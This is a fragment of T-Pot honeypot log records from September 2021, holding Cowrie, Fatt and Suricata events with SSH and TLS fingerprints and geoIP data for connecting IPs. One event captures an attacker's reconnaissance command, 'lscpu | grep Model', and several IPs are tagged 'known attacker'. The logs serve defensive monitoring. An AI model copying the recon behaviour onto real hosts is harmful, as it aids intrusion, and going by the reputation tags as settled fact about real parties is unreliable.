"2021-09-20T11:13:06.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:07.038819+03	2021-09-20 14:15:13.737648+03	{"_id": "tQboAnwBvYTbRNuE2yPy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34920, "dest_port": 443, "timestamp": "2021-09-20T11:13:07.038819", "@timestamp": "2021-09-20T11:13:07.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26794	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:13:07.078166+03	2021-09-20 14:15:13.738667+03	{"_id": "tgboAnwBvYTbRNuE2yPy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34920, "timestamp": "2021-09-20T11:13:07.078166", "@timestamp": "2021-09-20T11:13:07.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
26795	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:07.113398+03	2021-09-20 14:15:13.739674+03	{"_id": "twboAnwBvYTbRNuE3COh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "65aef3c283f0", "@version": "1", "duration": 2.7179651260375977, "timestamp": "2021-09-20T11:13:07.113398Z", "@timestamp": "2021-09-20T11:13:07.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26796	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:07.46375+03	2021-09-20 14:15:13.740675+03	{"_id": "uAboAnwBvYTbRNuE3COh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d1a5201b7b17", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:07.463750Z", "@timestamp": "2021-09-20T11:13:07.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26797	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:07.161938+03	2021-09-20 14:15:13.742647+03	{"_id": "uQboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:46682 (192.168.176.2:22) [session: db1452d9c58d]", "session": "db1452d9c58d", "@version": "1", "protocol": "ssh", "src_port": 46682, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.161938Z", "@timestamp": "2021-09-20T11:13:07.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26798	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:07.221447+03	2021-09-20 14:15:13.743675+03	{"_id": "xAboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:43316 (192.168.176.2:22) [session: d1a5201b7b17]", "session": "d1a5201b7b17", "@version": "1", "protocol": "ssh", "src_port": 43316, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.221447Z", "@timestamp": "2021-09-20T11:13:07.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26800	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:07.219082+03	2021-09-20 14:15:13.746674+03	{"_id": "zQboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "db1452d9c58d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:07.219082Z", "@timestamp": "2021-09-20T11:13:07.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26801	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:07.461305+03	2021-09-20 14:15:13.747674+03	{"_id": "zgboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:07.461305Z", "@timestamp": "2021-09-20T11:13:07.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26802	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:07.461853+03	2021-09-20 14:15:13.748674+03	{"_id": "zwboAnwBvYTbRNuE3COk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:07.461853Z", "@timestamp": "2021-09-20T11:13:07.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
26803	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:07.464322+03	2021-09-20 14:15:13.749674+03	{"_id": "wgboAnwBvYTbRNuE3COj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "db1452d9c58d", "@version": "1", "timestamp": "2021-09-20T11:13:07.464322Z", "@timestamp": "2021-09-20T11:13:07.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26804	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:07.43705+03	2021-09-20 14:15:13.75068+03	{"_id": "3wboAnwBvYTbRNuE3iOw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1297773437815394, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46682, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.437050Z", "@timestamp": "2021-09-20T11:13:07.437Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26810	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:08.106913+03	2021-09-20 14:15:13.758674+03	{"_id": "7wboAnwBvYTbRNuE4COO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.params", "message": [], "session": "de515b57e106", "@version": "1", "timestamp": "2021-09-20T11:13:08.106913Z", "@timestamp": "2021-09-20T11:13:08.106Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
26805	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:13:07.240462+03	2021-09-20 14:15:13.751674+03	{"_id": "5AboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45716, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.240462", "@timestamp": "2021-09-20T11:13:07.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26806	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:13:07.479642+03	2021-09-20 14:15:13.753668+03	{"_id": "5QboAnwBvYTbRNuE3yPb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43316, "dest_port": 22, "timestamp": "2021-09-20T11:13:07.479642", "@timestamp": "2021-09-20T11:13:07.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
